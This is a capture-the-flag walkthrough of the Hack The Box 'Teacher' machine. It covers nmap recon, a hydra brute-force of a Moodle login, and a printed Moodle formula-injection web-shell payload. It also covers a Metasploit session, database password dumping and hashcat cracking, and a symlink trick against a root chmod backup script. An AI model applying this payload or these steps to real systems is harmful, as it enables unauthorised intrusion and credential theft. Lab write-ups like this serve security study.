PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Blackhat highschool No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=12/23%OT=80%CT=1%CU=35687%PV=Y%DS=2%DC=T%G=Y%TM=5C1F90 OS:81%P=x86_64-unknown-linux-gnu)SEQ(SP=102%GCD=1%ISR=105%TI=Z%CI=I%II=I%TS OS:=8)OPS(O1=M54BST11NW7%O2=M54BST11NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M OS:54BST11NW7%O6=M54BST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=71 OS:20)ECN(R=Y%DF=Y%T=40%W=7210%O=M54BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A= OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T OS:=40%CD=S)
I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha.
Could you guys figure out what the last charachter is, or just reset it?
Thanks, Giovanni
Using hydra it’s possible to brute-force the login (http://10.10.10.153/moodle/login/index.php) finding the last missing character of the password for the user giovanni (Th4C00lTheacha#).
Once logged-in it’s possible to exploit the Moodle platform using a code injection in a formula form; this vulnerability is called Evil Teacher since abuse a non-privileged user to execute arbitrary code.
Following the POC is possible to create a web-shell inserting /*{a*/``$_GET[0]``;//{x}}.
And with the metasploit web_delivery module it’s easy to get a session:
The session is with www-data user but we can head to the mysql to dump all password for the Moodle login. The mysql login password for root user is visible in the Moodle installation folder and is Welkom1!.
The last one is a MD5 hash and it’s the easier to crack. Using rockyou and hashcat the password is recovered: expelled.
This password can be used to su as giovanni from www-data.
As giovanni is possible to read the first flag and head to the privesc phase. Inside the /home/giovanni/work directory there are some file that suggest some backup script running on the system to save information about a course.
Searching with find / -name *backup* 2> /dev/null in /usr/bin/backup.sh jumps out a plsneverdo instruction.
1 2 3 4 5 6 7 8
giovanni@teacher:~$ cat /usr/bin/backup.sh cat /usr/bin/backup.sh #!/bin/bash cd /home/giovanni/work; tar -czvf tmp/backup_courses.tar.gz courses/*; cd tmp; tar -xf backup_courses.tar.gz; chmod 777 * -R;
Creating a simple symbolic link with ln -s /root test it’s possible to exploit the chmod instruction to open up the permission for the /root directory allowing all user to read the flag.
After some minutes the script changed the permissions to /home/giovanni/work/tmp/test -> /root.